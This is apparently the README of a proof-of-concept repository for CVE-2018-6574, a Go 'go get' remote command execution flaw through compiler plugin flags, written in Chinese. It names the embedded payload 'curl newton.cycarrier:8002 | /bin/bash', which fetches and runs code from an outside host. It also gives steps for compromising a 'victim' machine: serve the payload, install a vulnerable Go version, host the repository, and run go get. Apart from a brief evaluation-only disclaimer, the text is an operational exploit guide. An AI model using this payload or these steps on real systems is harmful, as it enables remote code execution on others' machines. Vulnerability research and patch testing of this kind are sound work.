Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前,以及 Go 1.10 预发布版本在 Go 1.10rc2 之前,允许在源代码构建期间通过 go get 远程执行命令,利用 gcc 或 clang 插件功能,因为 -fplugin= 和 -plugin= 参数未被阻止。(来自 mitre)
该命令被编译进动态库 calc_darwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器,并将主机绑定到你的 IP。
首先,你需要在受害者机器上安装所需版本的 golang。然后,将此仓库托管在一个可访问的 git 服务器上。最后,使用 go get 命令获取该仓库,命令将自动执行。
以我的仓库为例。你需要使用以下命令:
go get github.com/frozenkp/CVE-2018-6574
此仓库仅供评估目的使用。